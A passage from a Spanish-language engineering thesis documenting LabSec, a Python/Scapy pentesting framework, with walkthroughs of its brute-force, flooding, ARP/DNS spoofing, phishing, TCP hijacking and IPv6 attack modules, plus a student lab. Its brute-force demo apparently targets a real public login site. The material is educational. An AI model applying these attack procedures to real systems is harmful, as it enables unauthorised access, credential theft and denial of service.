• Extensas Librerías: contiene una gran cantidad de librerías, tipos de datos y
funciones incorporadas en el propio lenguaje, que ayudan a realizar muchas
tareas comunes sin necesidad de tener que programarlas completamente.
• Sintaxis clara: tiene una sintaxis muy visual, gracias a que se escribe indentado
(con sangrías) mandatoriamente. Para separar los bloques de código en Python
se debe tabular hacia dentro. Esto ayuda a que todos los programadores adopten
las mismas notaciones y que los programas hechos en el lenguaje tengan un
aspecto muy similar.
Librería Scapy: en el desarrollo de los módulos que realizan las pruebas de seguridad
intervienen muchas librerías, siendo Scapy una de las más importantes, debido a que
permite crear y manipular paquetes de la familia de protocolos TCP/IP de manera muy
sencilla. Algunas de las funcionalidades que permite realizar son:
• Construcción de paquetes de la familia TCP/IP.

• Encapsulamiento y desencapsulamiento de paquetes.
• Manipulación de paquetes, lo cual permite alterar su normal funcionamiento.
• Cuenta con métodos para enviar y recibir paquetes.
• Métodos para realizar sniffing.
• Brinda soporte para IPv6

5.2.3. Instalación
Requisitos del sistema
• El proceso de instalación requiere de conexión a internet, para poder descargar

todas las librerías y dependencias necesarias.
• Sistema operativo GNU/Linux (basado en Debian preferentemente)
• Tener instalado Python 3.5 o superior.
Instalación
1. Copiar en el sistema el archivo labsec.zip y descomprimirlo.

2. Abrir una terminal y usando el comando cd ubicarse dentro del directorio del
proyecto. Por ejemplo: cd /home/Ignacio/Documentos/labsec
3. Ejecutar la instrucción sudo python3 setup.py para iniciar la instalación.
4. Es posible que durante la instalación se le consulte si se desea instalar algunas
dependencias necesarias. Se debe aceptar la instalación de todas las
dependencias.
5.2.4. Intérprete de comandos
En esta sección se presentan las características principales de LabSec y pretende ser

una guía para el manejo del framework, comenzando por el proceso de inicialización
del interprete y la descripción de los comandos usados para interactuar con el mismo,
finalizando con una descripción del proceso de carga y ejecución de módulos.
Ejecución del Framework
Para llamar a LabSec Framework el usuario debe abrir una terminal e introducir el
comando labsec, y al pulsar ENTER se solicita que ingrese la contraseña de
superusuario, como muestra la siguiente figura:
Fig. 5-3. Ejecución de LabSec Framework

Una vez introducida la contraseña y al pulsar la tecla ENTER, LabSec es cargado en

memoria y queda a la espera del ingreso de comandos por parte del usuario.
Fig. 5-4. LabSec Framework.
Comandos
El framework Labsec tiene dos tipos de comandos, los generales que sirven para
interactuar con el intérprete, y los de módulo usados para la interacción del usuario con
los módulos. La siguiente tabla muestra los comandos existentes y una descripción de
sus respectivas funciones.
Tabla 2. Comandos de LabSec Framework.
Tipo de
comando Comando Descripción
Lista un menú de ayuda y
help brinda información acerca de
los comandos del framework.
Permite cargar módulos de
forma dinámica en tiempo de
load <module> ejecución. El comando load
recibe como parámetro el
Comandos nombre del módulo a cargar.
Generales Muestra en pantalla una lista
modules de los módulos disponibles en
el framework.
Permite ejecutar comandos
exec <shell command> <args> shell desde el intérprete.
Por ejemplo: exec ping 8.8.8.8
clear Limpia el terminal.
exit Cierra Labsec Framework

Lista los parámetros que se

requieren configurar en el
options
módulo y que serán procesados
por el mismo.
Permite setear los parámetros
mostrados en options.
Comandos de set <options name> <values> Requiere como argumento el
Módulo nombre de la opción a setear y
el valor asignado a esa opción.
Ejecuta el módulo
run seleccionado y procesa las
opciones seteadas.
back Cierra el módulo actual.
En la Fig. 5-5 se muestra la ejecución del comando help, se lista solamente los
comandos generales, puesto que aún no se ha cargado ningún módulo.
Fig. 5-5. Menú de ayuda proporcionado por el comando help.
Carga y Ejecución de módulos
Usando el comando modules, el usuario puede ver una lista de los módulos disponibles,
como muestra la siguiente figura:

Fig. 5-6. Lista de módulos de LabSec Framework.
La carga de un módulo se realiza usando el comando load. La siguiente figura muestra

como ejemplo la carga del módulo liveshosts (que permite detectar la presencia de
equipos activos en una red) perteneciente al grupo scanner. El prompt del interprete ha
cambiado indicando el nombre del módulo cargado.
Fig. 5-7. Carga del módulo liveshosts.
Ya cargado el módulo, al usar el comando help se listan los comandos para interactuar
con el módulo (además de los comandos generales), como muestra la figura:

Fig. 5-8. Comando help.
Con el comando options se pueden ver los parámetros que deben configurarse en el
módulo liveshosts. En la siguiente figura se observa que el módulo liveshosts requiere
de tres parámetros: target, method e iface (donde los dos últimos tienen valores por
defecto).
Fig. 5-9. Uso del comando options.
Antes de correr el módulo se deben configurar los parámetros requeridos usando el

comando set, como muestra la pantalla a continuación.

Fig. 5-10. Establecimiento de parámetros.
El usuario puede comprobar que los parámetros fueron establecidos correctamente

usando nuevamente el comando options.
Fig. 5-11. Verificación de parámetros configurados.
Finalmente, una vez ajustados los parámetros del módulo, se lo ejecuta usando el
comando run, como muestra la siguiente figura:
Fig. 5-12. Ejecución del módulo liveshosts.

Cada módulo posee información detallada acerca de los parámetros requeridos y puede
ser consultada usando el comando options info.
Fig. 5-13. Consulta de documentación del módulo liveshosts.
Todos los módulos de Labsec Framework se cargan, configuran y ejecutan de la misma

forma presentada en el ejemplo anterior, lo que facilita el uso de la herramienta.
5.2.5. Creación de nuevos módulos
Esta sección brinda detalles del procedimiento para la implementación de nuevos

módulos por parte del usuario, con el fin de extender las funcionalidades de la
herramienta.
Crear nuevos módulos para Labsec Framework requiere seguir una serie de reglas para
asegurar la correcta integración del módulo creado y la herramienta.
Reglas:
1) El módulo debe ser una clase.

2) La clase debe llamarse igual que el archivo donde está definida.
3) La clase debe contar con 3 métodos obligatorios: options, set y run.
4) El módulo debe alojarse dentro de la carpeta módulos (del directorio del
proyecto).
La siguiente figura muestra una plantilla con la estructura que debe tener un módulo
para Labsec Framework.

Fig. 5-14. Estructura de módulo.
El método options debe brindar información acerca de los parámetros del módulo.
Mientras que en el método set se escribe el código para ajustar dichos parámetros.
Finalmente, en el método run se escribe el código de la prueba de seguridad a llevar a
cabo.
En el Anexo 2 - Código fuente, pueden verse ejemplos concretos de módulos ya

implementados.
5.3 Pruebas de seguridad
Cada módulo desarrollado fue probado exhaustivamente con el fin de comprobar su

correcto funcionamiento. Las siguientes secciones documentan las pruebas llevadas a
cabo. Se hace una descripción de la funcionalidad de cada módulo y se los pone a prueba
aplicándolos a diferentes escenarios.
5.3.1 Módulos scanner
Módulo dnsaxfr: permite identificar a los DNS autoritativos para un dominio dado y
solicita a los mismos una transferencia de zona completa.
La siguiente figura muestra la carga del módulo dnsaxfr y los parámetros a configurar.

Fig. 5-15. Carga del módulo dnsaxfr.
El objetivo en esta prueba es obtener una transferencia de zona completa del dominio
unt.edu.ar. Entonces, los parámetros se establecen como muestra la Fig. 5-16. El
parámetro iface se configura solamente si se cuenta con más de una interfaz de red
activa. En caso de disponer solo una, se puede dejar sin setear (None).
Fig. 5-16. Establecimiento de parámetros del módulo dnsaxfr.
Al ejecutar el módulo se observa que uno de los servidores DNS identificados

(ns2.unt.edu.ar) devuelve una respuesta positiva enviando el archivo de zona del
dominio solicitado. Mientras que los demás servidores envían respuestas negativas.

Fig. 5-17. Ejecución del módulo dnsaxfr.
Módulo liveshosts: permite identificar a los hosts activos en una red (interna o
externa).
La siguiente figura muestra la carga del módulo liveshosts y los parámetros a

configurar.
Fig. 5-18. Carga del módulo liveshosts.

En la sección 5.2.4 se muestra el uso de este módulo para el escaneo de una red local.
En la siguiente figura se visualizan los valores de los parámetros para escanear una red
externa usando mensajes icmp.
Fig. 5-19. Establecimiento de parámetros del módulo liveshosts.
Al ejecutar el módulo se observan los hosts activos de la red externa.
Fig. 5-20. Ejecución del módulo liveshosts.
Módulo ports: permite identificar puertos abiertos en los equipos de una red.
La siguiente figura muestra la carga del módulo ports y los parámetros a configurar.

Fig. 5-21. Carga del módulo ports.
La Fig. 5-22. se observan los valores de los parámetros para escanear equipos
pertenecientes a la red 192.168.0.0/24.
Fig. 5-22. Establecimiento de parámetros del módulo ports.
Al ejecutar el módulo se indican los puertos abiertos en los hosts de la red escaneada.

Fig. 5-23. Ejecución del módulo ports.
5.3.2 Módulos bruteforce
Módulo bfftp: realiza un ataque de fuerza bruta por diccionario al servicio FTP.
La siguiente figura muestra la carga del módulo bfftp y los parámetros a configurar.
Fig. 5-24. Carga del módulo bfftp.

A continuación, se verifica los valores de los parámetros, el objetivo del ataque es un

servidor FTP de IP 192.168.0.105.
Fig. 5-25. Establecimiento de parámetros del módulo bfftp.
Al ejecutar el módulo se obtiene un resultado exitoso de la prueba, como muestra la

siguiente figura.
Fig. 5-26. Ejecución del módulo bfftp.
Módulo bftelnet: realiza un ataque de fuerza bruta por diccionario al servicio

TELNET.
La siguiente figura muestra la carga del módulo bftelnet y los parámetros a configurar.

Fig. 5-27. Carga del módulo bftelnet.
A continuación, se muestra los valores de los parámetros, el objetivo del ataque es el

host de IP 192.168.0.106 donde corre el servicio de TELNET.
Fig. 5-28. Establecimiento de parámetros del módulo bftelnet.
Al ejecutar el módulo se obtiene un resultado exitoso de la prueba llevada a cabo.

Fig. 5-29. Ejecución del módulo bftelnet.
Módulo bfweblogin: realiza ataques de fuerza bruta por diccionario a páginas web que
usan un sistema de autenticación basado en usuario y contraseña.
La siguiente figura muestra la carga del módulo bfweblogin y los parámetros a

configurar.
Fig. 5-30. Carga del módulo bfweblogin.

Para esta prueba de concepto se usa como objetivo (target) la página web
www.tucuman.miredbus.com.ar/login. Para llevar a cabo el ataque se necesita
configurar una serie de parámetros: vauser, vapass y additionalp, que deben setearse
con el nombre las variables enviadas en el método POST cuando un usuario se loguea.
El nombre de estas variables puede obtenerse inspeccionando el código fuente la página
web o simplemente usar un sniffer para inspeccionar el paquete POST enviado, como
se muestra en la siguiente figura.
Fig. 5-31. Identificación de las variables a setear en vauser, vapass y additionalp.
El usuario de prueba usado en el ataque es rodriguez.irjr.8891@protonmail.com.
El parámetro flags se establece haciendo un estudio de las respuestas enviadas por el

servidor web. Para este caso particular al loguearse se recibe un código de redirección,
en caso de un logueo erróneo el servidor redirige a la página
www.tucuman.miredbus.com.ar/loginfailed.htm, mientras que si el logueo es correcto
redirige a www.tucuman.miredbus.com.ar/index.htm. De esta manera se puede
identificar la contraseña correcta.
Finalmente, los parámetros del módulo quedan configurados de la siguiente manera:

Fig. 5-32. Establecimiento de parámetros del módulo bfweblogin.
Al ejecutar el módulo se obtiene un resultado exitoso de la prueba llevada a cabo.
Fig. 5-33. Ejecución del módulo bfwebloguin.

5.3.3 Módulos dos
Módulo floodconnect: realiza un ataque de flood connect expuesto en la sección 3.6.4.

Establece conexiones TCP de forma masiva a un servicio hasta saturarlo, impidiendo a
un usuario legitimo establecer conexión.
La siguiente figura muestra la carga del módulo floodconnect y los parámetros a

configurar.
Fig. 5-34. Carga del módulo floodconnect.
El objetivo del ataque es el servicio TELNET corriendo en el host de IP 192.168.0.106.

Como puede verse en la siguiente figura el host objetivo acepta conexiones antes del
ataque.
Fig. 5-35. Conexión TELNET al host 192.168.0.106.
Los parámetros del módulo quedan establecidos de la siguiente manera:

Fig. 5-36. Establecimiento de parámetros del módulo floodconnect.
Al ejecutar el módulo se muestra una pantalla indicando el ataque se encuentra en

progreso.
Fig. 5-37. Ataque floodconnect en progreso.
Si un cliente intenta establecer una conexión al servicio TELNET del host objetivo, la
conexión es rechazada como muestra la siguiente figura, es decir, se está produciendo
una denegación del servicio.
Fig. 5-38. Intento de conexión rechazada.

Módulo floodtcpsyn: realiza un ataque de TCP SYN Flooding (sección 3.6.3). Hace un
envío masivo de paquetes TCP SYN pero sin llegar a establecer conexión.
La siguiente figura muestra la carga del módulo floodtcpsyn y los parámetros a

configurar.
Fig. 5-39. Carga del módulo floodtcpsyn.
La prueba se realiza sobre puerto 80 (HTTP) del host víctima de IP 192.168.0.105. Los
parámetros del módulo se observan de la siguiente manera:
Fig. 5-40. Establecimiento de parámetros del módulo floodtcpsyn.

progreso (Fig. 5-41). Usando un sniffer se puede apreciar el envío de paquetes TCP
SYN como se ve en la Fig. 5-42.

Fig. 5-41. Ataque floodtcpsyn en progreso.
Fig. 5-42. Monitoreo del tráfico usando Wireshark.
Ejecutando el comando netstat -an en el host víctima se visualiza los efectos del
ataque, cientos de conexiones al puerto 80 en estado SYN_ RECEIVED.
Fig. 5-43. Estado de conexiones en el host víctima.

Módulo floodicmp: ejecuta un ataque de inundación ICMP. El objetivo de este ataque

es doble, ya que además de degradar las comunicaciones de la red, trata de colapsar el
equipo al que van dirigidos los paquetes, saturándolo con una gran cantidad de
peticiones que el host no es capaz de procesar
La siguiente figura muestra la carga del módulo floodicmp y los parámetros a

configurar.
Fig. 5-44. Carga del módulo floodicmp.
El equipo a atacar es el host de IP 192.168.0.105, por lo que la configuración del

módulo es la siguiente:
Fig. 5-45. Establecimiento de parámetros del módulo floodicmp.

progreso.

Fig. 5-46. Ataque floodicmp en progreso.
Los efectos del ataque pueden verse en la siguiente figura. Debido a la capacidad
computacional de los equipos involucrados, el ataque no llega a provocar una
denegación de servicio, pero si se observa un aumento del tráfico de la red al iniciar el
ataque.
Fig. 5-47. Aumento de tráfico de red durante el ataque floodicmp.

5.3.4 Módulos spoofing
Módulo arpspoof: lleva a cabo un ataque de Man in the Middle al envenenar la caché
ARP de los hosts víctimas, como se expone en la sección 3.4.
La siguiente figura muestra la carga del módulo arpspoof y los parámetros a configurar.
Fig. 5-48. Carga del módulo arpspoof.
Los hosts víctimas del ataque MITM tienen la dirección IP 192.168.0.105 y

192.168.0.106 respectivamente. Los parámetros del módulo quedan configurados de la
siguiente manera:
Fig. 5-49. Establecimiento de parámetros del módulo arpspoof.
Al ejecutar el módulo se muestra una pantalla que indica que se está realizando el
envenenamiento de la caché ARP de los hosts objetivos.

Fig. 5-50. Ataque MITM usando arpspoof.
A partir de ese momento todo el tráfico intercambiado entre los hosts victimas pasan
por el host del atacante. En la siguiente figura se muestra el tráfico capturado de un ping
enviado desde uno de los hosts objetivos hacia el otro.
Fig. 5-51. Monitoreo de la comunicación entre los hosts objetivos.
Módulo dnsspoof: produce un ataque de DNS ID spoofing tratado en la sección 3.3.3.

Este módulo captura las consultas DNS realizadas por un host víctima y las responde
con una resolución falsa. El objetivo es redireccionar a la víctima a un sitio web
administrado por el atacante.
La siguiente figura muestra la carga del módulo dnsspoof y los parámetros a configurar.

Fig. 5-52. Carga del módulo dnsspoof.
En esta prueba de concepto se pretende que el host victima (192.168.0.105), al intentar

acceder desde su navegador al sitio web alumnos-derecho.unt.edu.ar, sea redirigido al
servidor web administrado por el atacante (192.168.0.107). Entonces, los parámetros
del módulo quedan configurados como se muestra a continuación:
Fig. 5-53. Establecimiento de parámetros del módulo dnsspoof.
Al ejecutar el módulo, este queda a la espera de recibir una solicitud de resolución de

nombre para alumnos-derecho.unt.edu.ar como se muestra en la Fig. 5-54. Cabe
mencionar que dnsspoof realiza previamente un ataque MITM entre la víctima y el
servidor DNS por defecto para poder escuchar las solicitudes DNS.

Fig. 5-54. Módulo dnsspoof escuchando solicitudes DNS.
Cuando el host víctima intenta acceder al sitio web mencionado, la solicitud DNS
enviada es interceptada y respondida por el host atacante como se ve en la siguiente
figura.
Fig. 5-55. Solicitud DNS capturada.
Al recibir la resolución falsa, la víctima es redirigida a una página web preparada por
el atacante para un ataque de phishing. Como se puede ver en la Fig. 5-56 la página es
muy similar a la web real de alumnos-derecho.unt.edu.ar. Sin embargo, cuando el
usuario se loguea, está enviado sus credenciales al servidor web del atacante como se
visualiza en la Fig. 5-57.

Fig. 5-56. Página web falsa alojada en el servidor web del atacante.
Fig. 5-57. Captura de credenciales.
5.3.5 Módulos hijacking
Módulo hjtcp: realiza el secuestro de una conexión TCP ya establecida, tema tratado
en la sección 3.5.
La siguiente figura muestra la carga del módulo hjtcp y los parámetros a configurar.

Fig. 5-58. Carga del módulo hjtcp.
A continuación, se muestra el intercambio de paquetes en una conexión TCP

establecida entre dos hosts de IP 192.168.0.105 y 192.168.0.106 respectivamente. La
escucha se realiza haciendo un ataque MITM a los hosts que intervienen en la
comunicación.
Fig. 5-59. Escucha de comunicación entre los hosts víctimas.

A través de la escucha de los paquetes intercambiados se configuran los parámetros

del módulo para realizar el secuestro de la sesión TCP del extremo que inició la
comunicación (host 192.168.0.105).
Fig. 5-60. Establecimiento de parámetros del módulo hjtcp.
Al ejecutar el módulo se abre una ventana desde la que el atacante envía el paquete
TCP especialmente formado para realizar el secuestro de la conexión.
Fig. 5-61. Terminal de inyección del paquete TCP formado.
Como puede verse en la siguiente figura, la conexión ha sido secuestrada por el

atacante, que ahora quedó sincronizado en la comunicación con el host 192.168.0.106.
Mientras que el host 192.168.0.105 ha quedado desincronizado en la comunicación.

Fig. 5-62. Secuestro de conexión TCP.
5.3.6 Módulos ipv6
Módulo scanipv6: permite identificar a los hosts IPv6 activos de una red local.
La siguiente figura muestra la carga del módulo scanipv6 y los parámetros a configurar.
Fig. 5-63. Carga del módulo scanipv6.

El parámetro ip6global se debe configurar con la dirección IPv6 global del host atacante
(en caso que tenga una IP global configurada). Si el host atacante no posee una IP global
configurada, dicho parámetro debe dejarse en blanco.
Fig. 5-64. Establecimiento de parámetros del módulo scanipv6.
Al ejecutar el módulo se muestra por pantalla las direcciones IPv6 de los hosts activos
en el segmento de red. El módulo detecta tanto direcciones IPv6 de enlace local como
globales.
Fig. 5-65. Ejecución del módulo scanipv6.
Módulo namitm: realiza un ataque de Man in the Middle a equipos con IPv6 al
envenenar el caché vecino de los hosts víctimas, como se trata en la sección 4.6.
La siguiente figura muestra la carga del módulo namitm y los parámetros a configurar.

Fig. 5-66. Carga del módulo namitm.
A continuación, se definen los parámetros requeridos: target1 y target2 con la dirección

IP de los hosts objetivos, mientras que la dirección MAC donde serán redireccionados
los paquetes se configura con la MAC del host atacante.
Fig. 5-67. Establecimiento de parámetros del módulo namitm.
La siguiente figura muestra el caché vecino de los hosts victimas antes del ataque.

Fig. 5-68. Caché vecino de las victimas antes del ataque.
Al ejecutar el módulo se muestra una ventana indicando que se está realizando el

envenenamiento de las caché vecino.
Fig. 5-69. Ejecución del módulo namitm.
Como puede verse en la siguiente figura el envenenamiento de cachés vecino es exitoso.
Fig. 5-70. Caché vecino de las victimas durante el ataque.

A partir de este momento todo el tráfico intercambiado entre los hosts víctimas pasa
por el host del atacante.
Fig. 5-71. Monitoreo del tráfico intercambiado entre los hosts víctimas.
Módulo nados: produce un ataque de denegación de servicios mediante la falsificación

de mensajes ICMPv6 NA.
La siguiente figura muestra la carga del módulo nados y los parámetros a configurar.
Fig. 5-72. Carga del módulo nados.
El objetivo de este ataque es envenenar el caché vecino de la víctima (target),

asociando la dirección IP del host suplantado a una MAC inexistente. Los parámetros
del módulo quedan configurados de la siguiente manera:

Fig. 5-73. Establecimiento de parámetros del módulo nados.
En la siguiente figura se muestra el caché vecino del host víctima antes del ataque.
Fig. 5-74. Caché vecino de la víctima antes del ataque.
Al ejecutar el módulo se muestra una pantalla indicando que se está realizando el ataque
DoS.
Fig. 5-75. Ejecución del módulo nados.
En la siguiente figura puede verse el envenenamiento del caché vecino del host víctima.
A partir de ese momento el host víctima no puede comunicarse con el host suplantado.

Fig. 5-76. Caché vecino de la víctima durante el ataque.
Módulo raflood: efectúa un ataque de denegación de servicios Flood Router

Advertisement, que se expone en la sección 4.5.
La siguiente figura muestra la carga del módulo raflood y los parámetros a configurar.
Fig. 5-77. Carga del módulo raflood.
Este módulo no requiere parámetros obligatorios y cabe destacar que afecta a todos
los hosts del enlace debido a que los mensajes RA se envían a la dirección multicast
all-nodes. En la siguiente figura puede verse el estado de la interfaz wlan0 de un host
victima antes del ataque.
Fig. 5-78. Estado de la interfaz de red de la víctima antes del ataque.

Al ejecutar el módulo se muestra una pantalla indicando el progreso de la inundación

RA.
Fig. 5-79. Ejecución del módulo raflood.
La siguiente figura se percibe como el host victima empieza a saturarse al configurar

en la interfaz wlan0 cientos de direcciones IPv6.
Fig. 5-80. Estado de la interfaz de red de la víctima durante el ataque.
Módulo fakerouter: este módulo ejecuta un ataque de Rogue Router Advertisement,

presentado en la sección 4.3. Según como sea configurado, se pueden realizar ataques
de MITM y DoS por medio del envío de mensajes ICMPv6 RA falsificados.
La siguiente figura muestra la carga del módulo fakerouter y los parámetros a

configurar.

Fig. 5-81. Carga del módulo fakerouter.
La prueba se realiza sobre una red local IPv6 con un prefijo de subred 2001:db8::/64
(prefix). Las direcciones se autoconfiguran mediante SLAAC a través del router de IP
fe80::29af:b6e2:57e2:c1fa (default router). El parámetro fakerouter se establece con la
dirección IP link-local del host atacante para realizar un ataque MITM (o se puede
configurar con una IP invalida para hacer un ataque de DoS). La siguiente figura
muestran los valores de los parámetros:
Fig. 5-82. Establecimiento de parámetros del módulo fakerouter.
Cabe destacar que el ataque afecta a todos los hosts del segmento. A continuación, se
muestra la tabla de ruteo de un host víctima antes del ataque. Como puede verse en la
Fig. 5-83 tiene configurado como default router al router legítimo de la subred.

Fig. 5-83. Tabla de ruteo del host víctima antes del ataque.
Al ejecutar el ataque la tabla de ruteo del host víctima se ve afectada. Ahora su default
router es la IP del host atacante, como se puede apreciar en la siguiente figura:
Fig. 5-84. Tabla de ruteo del host víctima después del ataque.
El host atacante será un default router válido por el tiempo que el atacante definió en
el parámetro lifetime (120 min). Durante ese tiempo todo el tráfico enviado hacia fuera
de la subred pasa por el host del atacante.
Para detener el ataque antes de la expiración del tiempo definido en lifetime, se debe
reconfigurar el parámetro lifetime a valor 0 y ejecutar nuevamente el módulo como
muestra la siguiente figura:
Fig. 5-85. Ataque detenido antes de la expiración de lifetime.

CONCLUSIONES
El desarrollo de este proyecto representó un gran desafío y una excelente oportunidad
para aplicar los conocimientos aprendidos durante la carrera, como así también, el
aprendizaje de nuevos conceptos durante las etapas de investigación y desarrollo.
El Framework de seguridad desarrollado permitió conocer el funcionamiento de

muchos ataques a los que son susceptibles las redes IPv4 e IPv6 y sentaron las bases
para continuar la formación en el área de la seguridad en redes informáticas.
El trabajo posibilitó realizar numerosas pruebas de seguridad, las que normalmente se

llevan a cabo en un test de penetración real.
Finalmente, en base a lo investigado y aprendido, se diseñó el laboratorio de Seguridad

en redes IPv6 para la materia Protocolos de Comunicación TCP/IP. Se trata de un
laboratorio sencillo en el que los estudiantes podrán conocer algunas de las
vulnerabilidades que presenta la implementación del protocolo IPv6.
Actualmente las empresas invierten en productos y servicios de seguridad informática

para proteger sus activos informáticos. Por este motivo resulta muy importante la
formación de los egresados de la carrera de Ingeniería en Computación en temas de
seguridad en redes y de la información, con el fin de aprovechar las crecientes
oportunidades laborales que brinda esta área.
Conclusiones 112
BIBLIOGRAFIA
Libros
Corletti, A., Seguridad por Niveles, Ed. darFE, Madrid, 2011
Siles Peláez, R., Análisis de seguridad de la familia de protocolos TCP/IP y sus

servicios asociados, Ed. O´Reilly & Associates, Madrid, 2002
García Rambla, J.L., Ataque en Redes de Datos IPv4 e IPv6, Ed. ZeroXword, Madrid,
2014
Echeverri Montoya, D., Python para Pentesters, Ed. ZeroXword, Madrid, 2014
Saade, S. D., Protocolos de comunicación en internet, Ed. EDUNT, San Miguel de

Tucumán, 2017
Alonso, C., Pentesting con Foca, Ed. ZeroXword, Madrid, 2015
Sitios Web
Obtener información de servidores web con banner grabbing. URL

https://www.welivesecurity.com/la-es/2012/11/21/obtener-informacion-de-servidores-
web-con-banner-grabbing/ Accedido: 2-Enero-2018
5 ways to Banner Grabbing. URL http://www.hackingarticles.in/5-ways-banner-

grabbing/ Accedido: 2-Enero-2018
Captura de banderas con curl, telnet y netcat. URL https://alanchavez.com/captura-de-

banderas-con-curl-telnet-y-netcat/ Accedido: 16-Enero-2018
Las fases de un test de penetración. URL

https://www.cyberseguridad.net/index.php/455-las-fases-de-un-test-de-penetracion-
pentest-pentesting-i Accedido: 9-Enero-2018
Pentesting de caja negra, caja blanca y caja gris, diferencias. URL

http://www.lostinth3net.com/seguridad-hacking/pentesting-caja-negra-caja-blanca-
caja-gris-diferencias/ Accedido: 15-Enero-2018
The Python Standard Library. URL https://docs.python.org/3/library/index.html

Accedido: 4-Enero-2019
Pentesting. URL
http://www.isaca.org/chapters3/Atlanta/AboutOurChapter/Documents/GW2015/0811
15-10AM-Pentesting.pdf Accedido: 18-Marzo-2018
Bibliografía 113
Nslookup (Name System Lookup). URL http://www.radians.com.ar/blog/?p=1582

Accedido: 11-Agosto-2018
Framework Design A Role Modeling Approach. URL https://riehle.org/computer-

science/research/dissertation/diss-a4.pdf Accedido: 15-Agosto-2018
RFCs y Drafts
Network Reconnaissance in IPv6 Networks draft-ietf-opsec-ipv6-host-scanning-03.

URL https://tools.ietf.org/html/draft-ietf-opsec-ipv6-host-scanning-03 Accedido: 1-
Enero-2019
IPv6 Neighbor Discovery trust models and threats draft-ietf-send-psreq-04. URL

https://tools.ietf.org/html/draft-ietf-send-psreq-04 Accedido: 15-Enero-2019
Neighbor Discovery for IP Version 6 (IPv6). URL https://tools.ietf.org/html/rfc2461

Accedido: 18-Febrero-2019
Measures for Making DNS More Resilient against Forged Answers. URL
http://tools.ietf.org/html/rfc5452 Accedido: 15-Marzo-2018
Internet Protocol, Version 6 (IPv6) Specification. URL

https://tools.ietf.org/html/rfc2460 Accedido: 10-Enero-2019
SEcure Neighbor Discovery (SEND). URL https://tools.ietf.org/html/rfc3971

Accedido: 25-Marzo-2019
Bibliografía 114
ANEXO 1 – Trabajo Practico de Laboratorio

Laboratorio: Seguridad en redes IPv6
Temas:
• Escaneos en IPv6
• Ataques de MITM en IPv6
• Ataques DoS en IPv6
Objetivos:
• Conocer técnicas para el descubrimiento de hosts en un entorno con IPv6.
• Conocer el funcionamiento de un ataque MITM en IPv6.
• Conocer los efectos de un ataque de DoS basado en Flood Router
Advertisement.
Para la realización de este práctico de laboratorio se usa la misma topología de red del
Laboratorio 3. Cada grupo debe tomar una LAN y configurarla como se muestra en la
figura de abajo. Se requieren 3 hosts por LAN, cada uno de ellos con una IP global
configurada, según el prefijo de subred correspondiente.
Laboratorio Nº 1: Escaneo de direcciones IPv6 en la red local.
Las técnicas de escaneo de direcciones IPv4 se basan en su mayoría en métodos de

fuerza bruta, en los que se barre un rango (por lo general pequeño) de direcciones IPs,
enviando paquetes de sondeo a cada dirección del rango y esperando una respuesta
desde dicha dirección que delate la presencia de un nodo en la red. Sin embargo, este
Anexo 1 – Trabajo Práctico de Laboratorio 115

tipo de escaneo tradicional resulta impráctico en IPv6, debido al extenso rango de

escaneo, donde el tamaño predeterminado de la Interface ID es de 64 bits, es decir, los
nodos se pueden ocultar en cualquiera de las 264 direcciones de la red. Esto hace que
los ataques de escaneo de direcciones IPv6 por fuerza bruta sean inviables, por el
tiempo y recursos que son necesarios para realizar las pruebas en el extenso rango
direcciones.
El objetivo de este laboratorio es explorar algunas técnicas alternativas para descubrir

nodos en IPv6.
Escaneo de direcciones IPv6 en una red local usando Labsec Framework:
1. Abrir un terminal y ejecutar el comando labsec. Se le solicita que ingrese la

contraseña de superusuario.
2. En el intérprete de comandos de labsec, ejecutar la siguiente instrucción
load ipv6/scanipv6 para cargar el módulo scanipv6.
3. Usando el comando options es posible ver los parámetros a configurar.
4. Ejecutar el comando set ip6global SU_IP, donde debe reemplazar SU_IP por la
IPv6 global. Ejemplo: set ip6global 2001:db8::145
5. Abrir la aplicación Wireshark y dejarla escuchando la interfaz de red que se esté
utilizando. Además, en la barra de filtros escribir icmpv6 y pulsar ENTER.
6. En el intérprete de labsec usar el comando run y esperar a que el escaneo
finalice. Luego copiar en un block de notas las direcciones IPv6 detectadas por
el módulo scanipv6.
7. Detener Wireshark y analizar los paquetes icmpv6 enviados y recibidos por su
host.
8. Explicar brevemente cómo funciona el escaneo que se realizó, de acuerdo a lo
que se puede ver en los paquetes analizados.
9. ¿Qué otros métodos pueden usarse para identificar a los hosts IPv6 conectados
a la LAN?
Laboratorio Nº 2: Ataque de Man in the Middle basado en Neighbor Spoofing
El Protocolo de Descubrimiento de Vecinos (NDP) utiliza los mensajes ICMPv6

Neighbor Solicitation (NS) y Neighbor Advertisement (NA) para implementar el
proceso de resolución de direcciones IPv6 a direcciones de hardware.
El funcionamiento de Neighbor Spoofing es prácticamente análogo a ARP Spoofing.
El envenenamiento de caché vecino es una técnica usada para infiltrarse en una red
Ethernet conmutada (basada en switch y no en hubs), que puede permitir al atacante
analizar paquetes de datos en la LAN IPv6, modificar el tráfico, o incluso detener el
tráfico (conocido como DoS: Denegación de Servicio).
El método consiste en enviar un mensaje NA falseado a la víctima, poniendo la

dirección IPv6 del nodo a suplantar y en la opción Target Link-layer Address la

dirección MAC cambiada (por la del atacante). La victima al recibir este mensaje
almacena en su caché vecino una resolución IPv6 – MAC falseada.
Cualquier tráfico dirigido a la dirección IP de ese nodo, será erróneamente enviado al

atacante, en lugar de a su destino real. El atacante, puede entonces elegir entre reenviar
el tráfico al destino legítimo (ataque pasivo o escucha) o modificar los datos antes de
reenviarlos (ataque activo). El atacante puede incluso lanzar un ataque de tipo DoS
(Denegación de Servicio) contra una víctima, asociando una dirección MAC inexistente
con la dirección IP del host suplantado.
MITM en IPv6 usando labsec Framework:

load ipv6/namitm para cargar el módulo namitm.
2. Usando el comando options puede visualizarse los parámetros a configurar.
3. A continuación, ejecutar los siguientes comandos para configurar los
parámetros:
set target1 IP_VICTIMA1
set target2 IP_VICTIMA2
set macaddr SU_MAC
Donde IP_VICTIMA1 e IP_VICTIMA2 son las direcciones link-local de los

hosts a los que se realizará el envenenamiento de caché vecino.
4. Abrir la aplicación Wireshark y dejarla recibir desde la interfaz de red que se

esté utilizando. Además, en la barra de filtros escribir icmpv6 y pulsar
ENTER.
5. En el intérprete de labsec ejecutar el comando run para iniciar el ataque.
6. Desde Wireshark inspeccionar los mensajes ICMPv6 NA enviados en el ataque.
¿Por qué los mensajes se envían con el bit S (solicited flag) seteado en 1?
¿Funcionaría el ataque si se lo envía con el bit S seteado en 0? ¿Cuál es la
diferencia entre ambos casos?
7. Realizar pruebas con ping desde el host VICTIMA1 hacia el host VICTIMA2 y
visualizar el tráfico desde el host usando Wireshark. ¿Por qué el sniffer muestra
